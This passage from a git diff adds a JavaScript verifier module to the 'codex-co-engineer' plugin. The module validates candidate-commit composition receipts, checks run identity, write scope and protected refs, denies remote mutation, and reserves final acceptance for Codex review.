integrates, never mutates remotes or protected refs, and never claims +// Codex acceptance. Incomplete diagnostic output stays +// incomplete_candidate. Required missing, rejected, or unresolved writer +// lanes block ready_for_codex_review. composition.candidate_ref is +// revalidated through accepted P28 run-owned candidate-ref authority and +// same-run receipt identity, not a permissive string or regex check. +// +// This module does not import or own the server, supervisor, worker, +// provider, registry, runtime, scheduler, artifact-bridge, or composer +// implementation. Composition receipts are consumed as values. Optional +// P16 execution is injected; tests stub it. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + CONSTRAINED_VERIFICATION_SCHEMA_ID, + CONSTRAINED_VERIFICATION_VERSION, + executeConstrainedVerificationV1, +} from './constrained-verification-runner.mjs'; +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from './evidence-bundle.mjs'; +import { + ACTOR_VALUES, + CANDIDATE_REF_LEAF, + CANDIDATE_REF_NAMESPACE, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyRefV1, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, + parseGitAuthorityPolicyV1, + projectAuthorityEvidenceV1, +} from './git-authority.mjs'; +import { verifyGitIdentityV1 } from './git-identity.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { auditProtectedRefsV1 } from './protected-ref-audit.mjs'; +import { + projectRunApiBoundaryV1, + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_VERSION, +} from './run-api-boundary.mjs'; +import { + RECEIPT_KEYS as COMPOSITION_RECEIPT_KEYS, + RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + RUN_CANDIDATE_COMPOSER_VERSION, + COMPOSER_STATUSES, + LANE_RESULT_KEYS, +} from './run-candidate-composer.mjs'; +import { + RunContractV1Error, + assertBaseSha, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { verifyScopeV1 } from './scope-verifier.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_COMBINED_VERIFIER_SCHEMA_ID = 'codex-co-engineer.run-combined-verifier.v1'; +export const RUN_COMBINED_VERIFIER_VERSION = 1; +export const RUN_COMBINED_VERIFIER_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.run-combined-verifier-receipt.v1'; + +export const MAX_VERIFIER_OBJECT_KEYS = 48; +export const MAX_VERIFIER_KEY_BYTES = 128; + +export const COMBINED_STATUSES = capturedFreeze([ + 'blocked', 'failed', 'incomplete_candidate', 'verified', +]); +export const COMBINED_CHECKS = capturedFreeze([ + 'request_quarantine', + 'composition_receipt', + 'p28_candidate_ref_authority', + 'p14_git_identity', + 'p15_scope', + 'p16_constrained_verification', + 'p30_protected_ref_audit', + 'p32_run_api_boundary', + 'one_parent_candidate', + 'remote_mutation_denied', + 'diagnostic_partial_never_ready', + 'codex_only_final_acceptance', +]); +export const COMBINED_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'composer_imported', + 'default_branch_mutated', + 'head_mutated', + 'integrated', + 'merge_performed', + 'pr_created', + 'protected_ref_mutated', + 'push_performed', + 'rebase_performed', + 'release_created', + 'remote_mutated', + 'server_imported', + 'supervisor_imported', + 'tag_created', +]); + +export const REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'composition', 'expected_base_ref', 'expected_protected_refs', 'identity', + 'orchestration', 'schema', 'verification', 'version', +]); +export const REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'composition', 'expected_base_ref', 'expected_protected_refs', 'identity', + 'orchestration', 'schema', 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'provider', 'repository_path', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'repository_path', 'run_id', +]); +export const OPTIONS_ALLOWED_KEYS = capturedFreeze([ + 'auditProtectedRefs', 'executeVerification', 'projectRunApiBoundary', + 'spawn', 'verifyGitIdentity', 'verifyScope', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'api_boundary_status', 'assignment_id', 'base_sha', 'candidate_ref', + 'candidate_sha', 'checks', 'codex_only_final_acceptance', 'composition_status', + 'discrepancies', 'facts', 'incomplete', 'integrated', 'parent_count', + 'ready_for_codex_review', 'run_id', 'schema', 'side_effects', 'status', + 'verification_executed', 'version', +]); + +export const RUN_COMBINED_VERIFIER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'exotic_prototype_denied', 'identity_mismatch', 'invalid_format', + 'invalid_type', 'missing_key', 'non_enumerable_property_denied', + 'out_of_range', 'own_undefined_denied', 'proxy_denied', + 'remote_mutation_denied', 'symbol_key_denied', 'unknown_key', + 'unverified_identity', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const IS_PROXY = utilTypes.isProxy; +const OWN_KEYS = capturedOwnKeys; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const SET_CTOR = Set; +const BASE_REF_PATTERN = /^refs\/heads\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/u; + +const MSG = capturedFreeze({ + accessor_property_denied: 'RunCombinedVerifierV1 denies accessor inputs.', + aliased_reference_denied: 'RunCombinedVerifierV1 denies aliased inputs.', + bounds_exceeded: 'RunCombinedVerifierV1 exceeded a closed verification bound.', + exotic_prototype_denied: 'RunCombinedVerifierV1 denies exotic prototypes.', + identity_mismatch: 'RunCombinedVerifierV1 rejected a mismatched run or base identity.', + invalid_format: 'RunCombinedVerifierV1 rejected a value that violates a closed grammar.', + invalid_type: 'RunCombinedVerifierV1 rejected a non-JSON verification value.', + missing_key: 'RunCombinedVerifierV1 requires every canonical verification key.', + non_enumerable_property_denied: 'RunCombinedVerifierV1 denies non-enumerable properties.', + out_of_range: 'RunCombinedVerifierV1 rejected a value outside closed bounds.', + own_undefined_denied: 'RunCombinedVerifierV1 denies own undefined values.', + proxy_denied: 'RunCombinedVerifierV1 denies Proxy inputs.', + remote_mutation_denied: 'RunCombinedVerifierV1 denies push and remote mutation.', + symbol_key_denied: 'RunCombinedVerifierV1 denies symbol keys.', + unknown_key: 'RunCombinedVerifierV1 rejects keys outside the closed vocabulary.', + unverified_identity: 'RunCombinedVerifierV1 requires verified Git identity evidence.', + value_depth_exceeded: 'RunCombinedVerifierV1 rejected nested input that exceeds closed depth.', +}); + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function publicCode(error) { + if (error instanceof RunContractV1Error + && capturedIncludes(RUN_COMBINED_VERIFIER_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, pathLabel) { + deny(publicCode(error), pathLabel); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!Object.hasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + try { assertPlainObject(input, 'invalid_type', pathLabel, pathLabel); } catch (error) { + remap(error, pathLabel); + } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_VERIFIER_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key) > MAX_VERIFIER_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + try { assertDirectJsonClosure(input, pathLabel); } catch (error) { remap(error, pathLabel); } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function ownString(input, key, pathLabel) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + return value; +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + return HASH_DIGEST.call(hash, 'hex'); +} + +function emptySideEffects() { + const values = {}; + for (let i = 0; i < COMBINED_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[COMBINED_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(COMBINED_SIDE_EFFECT_NONCLAIMS, values); +} + +function parseIdentity(input, pathLabel) { + const object = assertClosedObject(input, IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(object, IDENTITY_REQUIRED_KEYS, pathLabel); + const runId = ownString(object, 'run_id', pathLabel); + try { assertRunId(runId, pathLabel); } catch (error) { remap(error, pathLabel); } + const baseSha = ownString(object, 'base_sha', pathLabel); + try { assertBaseSha(baseSha, pathLabel); } catch (error) { remap(error, pathLabel); } + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + const repositoryPath = ownString(object, 'repository_path', pathLabel); + if (typeof repositoryPath !== 'string' || !repositoryPath.startsWith('/')) { + deny('invalid_format', pathLabel); + } + const values = { + run_id: runId, base_sha: baseSha, assignment_id: assignmentId, repository_path: repositoryPath, + }; + if (hasOwn(object, 'provider')) values.provider = ownString(object, 'provider', pathLabel); + return freezeRecord(IDENTITY_ALLOWED_KEYS, values); +} + +function parseLaneResult(input, pathLabel) { + const object = assertClosedObject(input, LANE_RESULT_KEYS, pathLabel); + requireKeys(object, LANE_RESULT_KEYS, pathLabel); + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + const applied = ownDataValue(object, 'applied', pathLabel); + if (applied !== true && applied !== false) deny('invalid_type', pathLabel); + const writeScope = ownDataValue(object, 'write_scope', pathLabel); + if (!capturedIsArray(writeScope)) deny('invalid_type', pathLabel); + const scope = []; + for (let i = 0; i < writeScope.length; i += 1) { + const pattern = ownDataValue(writeScope, String(i), pathLabel); + if (typeof pattern !== 'string') deny('invalid_type', pathLabel); + scope.push(pattern); + } + const headSha = ownDataValue(object, 'head_sha', pathLabel); + if (headSha !== null && !isSha40(headSha)) deny('invalid_format', pathLabel); + return freezeRecord(LANE_RESULT_KEYS, { + assignment_id: assignmentId, + kind: ownString(object, 'kind', pathLabel), + state: ownString(object, 'state', pathLabel), + applied, + path_count: ownDataValue(object, 'path_count', pathLabel), + head_sha: headSha, + write_scope: capturedFreeze(scope), + }); +} + +function parseComposition(input, identity, pathLabel) { + const object = assertClosedObject(input, COMPOSITION_RECEIPT_KEYS, pathLabel); + requireKeys(object, COMPOSITION_RECEIPT_KEYS, pathLabel); + if (ownString(object, 'schema', pathLabel) !== RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + if (ownDataValue(object, 'version', pathLabel) !== RUN_CANDIDATE_COMPOSER_VERSION) { + deny('invalid_format', pathLabel); + } + const status = ownString(object, 'status', pathLabel); + if (!capturedIncludes(COMPOSER_STATUSES, status)) deny('invalid_format', pathLabel); + const runId = ownString(object, 'run_id', pathLabel); + const baseSha = ownString(object, 'base_sha', pathLabel); + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (runId !== identity.run_id || baseSha !== identity.base_sha + || assignmentId !== identity.assignment_id) { + deny('identity_mismatch', pathLabel); + } + const candidateSha = ownDataValue(object, 'candidate_sha', pathLabel); + if (candidateSha !== null && !isSha40(candidateSha)) deny('invalid_format', pathLabel); + const parentSha = ownDataValue(object, 'parent_sha', pathLabel); + if (parentSha !== null && !isSha40(parentSha)) deny('invalid_format', pathLabel); + const parentCount = ownDataValue(object, 'parent_count', pathLabel); + const ready = ownDataValue(object, 'ready_for_codex_review', pathLabel); + if (ready !== false) deny('invalid_format', pathLabel); + const lanesValue = ownDataValue(object, 'lanes', pathLabel); + if (!capturedIsArray(lanesValue)) deny('invalid_type', pathLabel); + const lanes = []; + for (let i = 0; i < lanesValue.length; i += 1) { + lanes.push(parseLaneResult(ownDataValue(lanesValue, String(i), pathLabel), `${pathLabel}.lanes`)); + } + return freezeRecord(capturedFreeze([ + 'allow_diagnostic_partial_candidate', 'applied_assignment_ids', 'assignment_id', + 'base_sha', 'blocked_assignment_ids', 'candidate_ref', 'candidate_sha', + 'incomplete', 'lanes', 'parent_count', 'parent_sha', 'ready_for_codex_review', + 'run_id', 'schema', 'status', 'version', + ]), { + schema: RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + status, + run_id: runId, + assignment_id: assignmentId, + base_sha: baseSha, + // Structural string only. Same-run P28 authority is revalidated in + // verifyCombinedCandidateV1 before any Git inspection or ready claim. + candidate_ref: ownString(object, 'candidate_ref', pathLabel), + candidate_sha: candidateSha, + parent_sha: parentSha, + parent_count: parentCount, + applied_assignment_ids: ownDataValue(object, 'applied_assignment_ids', pathLabel), + blocked_assignment_ids: ownDataValue(object, 'blocked_assignment_ids', pathLabel), + lanes: capturedFreeze(lanes), + allow_diagnostic_partial_candidate: ownDataValue( + object, 'allow_diagnostic_partial_candidate', pathLabel, + ), + incomplete: ownDataValue(object, 'incomplete', pathLabel) === true, + ready_for_codex_review: false, + }); +} + +function parseExpectedRefs(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!capturedIsArray(input) || input.length < 1 || input.length > 16) deny('out_of_range', pathLabel); + const refs = []; + for (let i = 0; i < input.length; i += 1) { + const entry = assertClosedObject( + ownDataValue(input, String(i), pathLabel), ['ref', 'sha'], pathLabel, + ); + requireKeys(entry, ['ref', 'sha'], pathLabel); + const sha = ownString(entry, 'sha', pathLabel); + if (!isSha40(sha)) deny('invalid_format', pathLabel); + refs.push(freezeRecord(['ref', 'sha'], { ref: ownString(entry, 'ref', pathLabel), sha })); + } + return capturedFreeze(refs); +} + +export function parseCombinedCandidateRequestV1(input) { + const pathLabel = 'verify'; + const object = assertClosedObject(input, REQUEST_ALLOWED_KEYS, pathLabel); + requireKeys(object, REQUEST_REQUIRED_KEYS, pathLabel); + if (ownString(object, 'schema', pathLabel) !== RUN_COMBINED_VERIFIER_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + if (ownDataValue(object, 'version', pathLabel) !== RUN_COMBINED_VERIFIER_VERSION) { + deny('invalid_format', pathLabel); + } + const identity = parseIdentity(ownDataValue(object, 'identity', pathLabel), `${pathLabel}.identity`); + const expectedBaseRef = ownString(object, 'expected_base_ref', pathLabel); + if (!BASE_REF_PATTERN.test(expectedBaseRef)) deny('invalid_format', pathLabel); + const composition = parseComposition( + ownDataValue(object, 'composition', pathLabel), identity, `${pathLabel}.composition`, + ); + const expectedProtectedRefs = parseExpectedRefs( + ownDataValue(object, 'expected_protected_refs', pathLabel), `${pathLabel}.expected_protected_refs`, + ); + const orchestration = ownDataValue(object, 'orchestration', pathLabel); + try { + assertNotProxy(orchestration, `${pathLabel}.orchestration`); + assertPlainObject(orchestration, 'invalid_type', `${pathLabel}.orchestration`, `${pathLabel}.orchestration`); + } catch (error) { remap(error, pathLabel); } + let verification = null; + if (hasOwn(object, 'verification')) { + verification = ownDataValue(object, 'verification', pathLabel); + try { assertNotProxy(verification, `${pathLabel}.verification`); } catch (error) { + remap(error, pathLabel); + } + } + return freezeRecord(REQUEST_ALLOWED_KEYS, { + schema: RUN_COMBINED_VERIFIER_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + identity, + expected_base_ref: expectedBaseRef, + expected_protected_refs: expectedProtectedRefs, + composition, + orchestration, + verification, + }); +} + +function parseOptions(options, pathLabel = 'options') { + if (options === undefined) { + return freezeRecord(OPTIONS_ALLOWED_KEYS, { + spawn: undefined, + verifyGitIdentity: verifyGitIdentityV1, + verifyScope: verifyScopeV1, + auditProtectedRefs: auditProtectedRefsV1, + executeVerification: executeConstrainedVerificationV1, + projectRunApiBoundary: projectRunApiBoundaryV1, + }); + } + try { assertNotProxy(options, pathLabel); } catch (error) { remap(error, pathLabel); } + try { assertPlainObject(options, 'invalid_type', pathLabel, pathLabel); } catch (error) { + remap(error, pathLabel); + } + let keys; + try { keys = OWN_KEYS(options); } catch { deny('invalid_type', pathLabel); } + const allowedSet = new SET_CTOR(OPTIONS_ALLOWED_KEYS); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + const resolve = (key, fallback) => { + if (!hasOwn(options, key)) return fallback; + const value = optOwn(options, key); + if (key !== 'spawn' && (typeof value !== 'function' || IS_PROXY(value))) deny('invalid_type', pathLabel); + if (key === 'spawn' && value !== undefined && (typeof value !== 'function' || IS_PROXY(value))) { + deny('invalid_type', pathLabel); + } + return value; + }; + return freezeRecord(OPTIONS_ALLOWED_KEYS, { + spawn: resolve('spawn', undefined), + verifyGitIdentity: resolve('verifyGitIdentity', verifyGitIdentityV1), + verifyScope: resolve('verifyScope', verifyScopeV1), + auditProtectedRefs: resolve('auditProtectedRefs', auditProtectedRefsV1), + executeVerification: resolve('executeVerification', executeConstrainedVerificationV1), + projectRunApiBoundary: resolve('projectRunApiBoundary', projectRunApiBoundaryV1), + }); +} + +function appliedWriteScope(composition) { + const patterns = []; + const seen = new SET_CTOR(); + for (let i = 0; i < composition.lanes.length; i += 1) { + const lane = composition.lanes[i]; + if (lane.applied !== true) continue; + for (let j = 0; j < lane.write_scope.length; j += 1) { + const pattern = lane.write_scope[j]; + if (seen.has(pattern)) continue; + seen.add(pattern); + patterns.push(pattern); + } + } + return patterns; +} + +function identityRequestOf(request, headSha) { + return { + repository: { + path: request.identity.repository_path, + base_sha: request.identity.base_sha, + }, + expected_base_ref: request.expected_base_ref, + candidate_head_sha: headSha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence: 0, + }; +} + +function spawnOptions(options) { + return options.spawn === undefined ? undefined : { spawn: options.spawn }; +} + +function emitFact(request, status, payload, sequence) { + return parseVerifiedFactV1({ + fact_id: 'git-identity', + fact_kind: 'git_identity', + status, + code: 'host_observed', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + subject: 'combined-candidate', + authority: 'platform_git', + method: 'ancestry_check', + input_digest: digestOf({ + run_id: request.identity.run_id, base_sha: request.identity.base_sha, + }), + output_digest: digestOf(payload), + exit_code: status === 'verified' ? 0 : 1, + duration_ms: 0, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +function authorityIdentityInput(request) { + return { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }; +} + +function revalidateCandidateRefAuthority(request) { + const identityInput = authorityIdentityInput(request); + let expected; + let boundIdentity; + try { + parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1); + boundIdentity = bindAuthorityIdentityV1(identityInput); + expected = expectedCandidateRefV1({ run_id: boundIdentity.run_id }); + } catch { + return { authorized: false, expected: null, evidence: null }; + } + + const candidateRef = request.composition.candidate_ref; + const sameRunOwned = isRunOwnedCandidateRefV1(candidateRef, boundIdentity.run_id) + && candidateRef === expected + && candidateRef === `${CANDIDATE_REF_NAMESPACE}${boundIdentity.run_id}/${CANDIDATE_REF_LEAF}` + && boundIdentity.run_id === request.identity.run_id + && boundIdentity.run_id === request.composition.run_id + && boundIdentity.assignment_id === request.identity.assignment_id + && boundIdentity.assignment_id === request.composition.assignment_id + && boundIdentity.base_sha === request.identity.base_sha + && boundIdentity.base_sha === request.composition.base_sha; + + let classified; + let verdict; + let evidence; + try { + classified = classifyRefV1({ ref: candidateRef, identity: identityInput }); + verdict = classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: ACTOR_VALUES[1], + operation: 'compose_candidate_non_authoritative', + identity: identityInput, + ref: candidateRef, + history: { parent_counts: [1] }, + }); + evidence = projectAuthorityEvidenceV1(verdict, { + fact_id: 'git-identity', + discrepancy_id: 'candidate-ref-authority', + sequence: 0, + }); + } catch { + return { authorized: false, expected, evidence: null }; + } + + const classBound = classified.ref_class === 'platform_run_owned' + && classified.code === 'protected_ref_write_denied' + && classified.protected === true; + const operationBound = verdict.verdict === 'allowed' + && verdict.ref_class === 'platform_run_owned' + && verdict.code === 'authority_ok' + && verdict.run_id === boundIdentity.run_id + && verdict.assignment_id === boundIdentity.assignment_id + && verdict.base_sha === boundIdentity.base_sha; + const fact = evidence.facts[0]; + const evidenceBound = fact !== undefined + && evidence.facts.length === 1 + && fact.status === 'verified' + && fact.run_id === boundIdentity.run_id + && fact.assignment_id === boundIdentity.assignment_id + && fact.payload.base_sha === boundIdentity.base_sha + && evidence.discrepancies.length === 0; + + return { + authorized: sameRunOwned === true + && classBound === true + && operationBound === true + && evidenceBound === true, + expected, + evidence, + }; +} + +function authorityFailureReceipt(request, payload, binding) { + const evidence = binding.evidence; + const denied = evidence !== null + && evidence.facts.length > 0 + && evidence.facts[0].status === 'failed'; + let facts; + let discrepancies; + if (denied) { + facts = [...evidence.facts]; + discrepancies = evidence.discrepancies.length > 0 + ? [...evidence.discrepancies] + : [emitDiscrepancy('candidate-ref-authority', request, ['git-identity'], 1)]; + } else { + facts = [emitFact(request, 'failed', payload, 0)]; + discrepancies = [emitDiscrepancy('candidate-ref-authority', request, ['git-identity'], 1)]; + } + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts, + discrepancies, + }); +} + +function finish(request, values) { + const incomplete = values.status === 'incomplete_candidate' + || request.composition.incomplete === true + || request.composition.status === 'incomplete_candidate'; + const ready = values.status === 'verified' && incomplete !== true; + return freezeData(freezeRecord(RECEIPT_KEYS, { + schema: RUN_COMBINED_VERIFIER_RECEIPT_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + status: values.status, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + base_sha: request.identity.base_sha, + candidate_ref: expectedCandidateRefV1({ run_id: request.identity.run_id }), + candidate_sha: request.composition.candidate_sha, + parent_count: request.composition.parent_count, + composition_status: request.composition.status, + api_boundary_status: values.api_boundary_status, + verification_executed: values.verification_executed === true, + incomplete, + ready_for_codex_review: ready, + codex_only_final_acceptance: true, + integrated: false, + checks: COMBINED_CHECKS, + side_effects: emptySideEffects(), + facts: capturedFreeze(values.facts), + discrepancies: capturedFreeze(values.discrepancies), + })); +} + +export async function verifyCombinedCandidateV1(input, options) { + const request = parseCombinedCandidateRequestV1(input); + const parsedOptions = parseOptions(options); + const payload = { + base_sha: request.identity.base_sha, + head_sha: request.composition.candidate_sha ?? request.identity.base_sha, + }; + const candidateRefAuthority = revalidateCandidateRefAuthority(request); + if (candidateRefAuthority.authorized !== true) { + return authorityFailureReceipt(request, payload, candidateRefAuthority); + } + + if (request.composition.status === 'blocked' + || request.composition.candidate_sha === null + || request.composition.parent_count !== 1) { + const status = request.composition.status === 'incomplete_candidate' + ? 'incomplete_candidate' : 'blocked'; + return finish(request, { + status, + api_boundary_status: null, + verification_executed: false, + facts: [emitFact(request, 'failed', payload, 0)], + discrepancies: [emitDiscrepancy('composition-blocked', request, ['git-identity'], 1)], + }); + } + + const gitOptions = spawnOptions(parsedOptions); + const identityInput = identityRequestOf(request, request.composition.candidate_sha); + const identity = await parsedOptions.verifyGitIdentity(identityInput, gitOptions); + if (identity.status !== 'verified') { + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts: [emitFact(request, 'failed', payload, 0)], + discrepancies: [emitDiscrepancy('git-identity', request, ['git-identity'], 1)], + }); + } + + const writeScope = appliedWriteScope(request.composition); + const scope = await parsedOptions.verifyScope({ + identity_request: identityInput, + identity, + access: 'writer', + write_scope: writeScope, + other_write_scopes: [], + }, gitOptions); + if (scope.status !== 'verified' + || scope.observation.parent_count !== 1 + || scope.observation.new_commit_count !== 1) { + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts: [...scope.facts], + discrepancies: scope.discrepancies.length > 0 + ? [...scope.discrepancies] + : [emitDiscrepancy('scope', request, ['git-diff'], 2)], + }); + } + + const audit = await parsedOptions.auditProtectedRefs({ + schema: 'codex-co-engineer.protected-ref-audit.v1', + version: 1, + identity: { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + expected_refs: request.expected_protected_refs.map((entry) => ({ + ref: entry.ref, sha: entry.sha, + })), + }, gitOptions); + if (audit.status !== 'verified') { + return finish(request, { + status: 'failed', + api_boundary_status: null, + verification_executed: false, + facts: [...audit.facts], + discrepancies: [...audit.discrepancies], + }); + } + + const apiIdentity = { + run_id: request.identity.run_id, + base_sha: request.identity.base_sha, + assignment_id: request.identity.assignment_id, + }; + if (capturedHasOwn(request.identity, 'provider')) apiIdentity.provider = request.identity.provider; + const api = parsedOptions.projectRunApiBoundary({ + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + identity: apiIdentity, + audit, + orchestration: request.orchestration, + }); + if (api.status !== 'ready') { + return finish(request, { + status: api.status === 'failed' ? 'failed' : 'blocked', + api_boundary_status: api.status, + verification_executed: false, + facts: [...audit.facts], + discrepancies: [emitDiscrepancy('api-boundary', request, ['git-identity'], 3)], + }); + } + + let verificationExecuted = false; + if (request.verification !== null) { + const verification = await parsedOptions.executeVerification(request.verification); + verificationExecuted = true; + if (verification.schema !== CONSTRAINED_VERIFICATION_SCHEMA_ID + || verification.version !== CONSTRAINED_VERIFICATION_VERSION + || verification.outcome?.result !== 'pass' + || verification.candidate_audit?.unchanged !== true) { + return finish(request, { + status: 'failed', + api_boundary_status: api.status, + verification_executed: true, + facts: [...audit.facts], + discrepancies: [emitDiscrepancy('verification', request, ['git-identity'], 4)], + }); + } + } else { + return finish(request, { + status: request.composition.status === 'incomplete_candidate' + ? 'incomplete_candidate' : 'blocked', + api_boundary_status: api.status, + verification_executed: false, + facts: [...identity.facts, ...scope.facts, ...audit.facts], + discrepancies: request.composition.status === 'incomplete_candidate' + ? [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 4)] + : [emitDiscrepancy('verification-missing', request, ['git-identity'], 4)], + }); + } + + const status = request.composition.status === 'incomplete_candidate' + ? 'incomplete_candidate' : 'verified'; + return finish(request, { + status, + api_boundary_status: api.status, + verification_executed: verificationExecuted, + facts: [...identity.facts, ...scope.facts, ...audit.facts], + discrepancies: status === 'incomplete_candidate' + ? [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 4)] + : [], + }); +} + +export function describeRunCombinedVerifierV1() { + return freezeData(capturedFreeze({ + schema: RUN_COMBINED_VERIFIER_SCHEMA_ID, + version: RUN_COMBINED_VERIFIER_VERSION, + receipt_schema: RUN_COMBINED_VERIFIER_RECEIPT_SCHEMA_ID, + rule: 'verify_through_accepted_p13_p14_p15_p16_p30_p32_evidence', + api: capturedFreeze([ + 'describeRunCombinedVerifierV1', 'parseCombinedCandidateRequestV1', + 'verifyCombinedCandidateV1', + ]), + statuses: COMBINED_STATUSES, + checks: COMBINED_CHECKS, + error_codes: RUN_COMBINED_VERIFIER_ERROR_CODES, + side_effect_nonclaims: COMBINED_SIDE_EFFECT_NONCLAIMS, + ready_requires_complete_composition: true, + incomplete_never_ready: true, + codex_only_final_acceptance: true, + integrated: false, + remote_mutated: false, + gate_a_claimed: false, + imports_server: false, + imports_supervisor: false, + imports_runtime: false, + imports_scheduler: false, + imports_composer_functions: false, + composed_surfaces: capturedFreeze({ + evidence_bundle: 'codex-co-engineer.evidence-bundle.v1', + git_identity: 'codex-co-engineer.git-identity.v1', + git_authority: GIT_AUTHORITY_SCHEMA_ID, + scope_verifier: 'codex-co-engineer.scope-verifier.v1', + constrained_verification: CONSTRAINED_VERIFICATION_SCHEMA_ID, + protected_ref_audit: 'codex-co-engineer.protected-ref-audit.v1', + run_api_boundary: RUN_API_BOUNDARY_SCHEMA_ID, + }), + })); +} + +capturedFreeze(revalidateCandidateRefAuthority); +capturedFreeze(parseCombinedCandidateRequestV1); +capturedFreeze(verifyCombinedCandidateV1); +capturedFreeze(describeRunCombinedVerifierV1); diff --git a/plugins/codex-co-engineer/mcp/v3/run-journal.mjs b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs new file mode 100644 index 0000000..5358775 --- /dev/null +++ 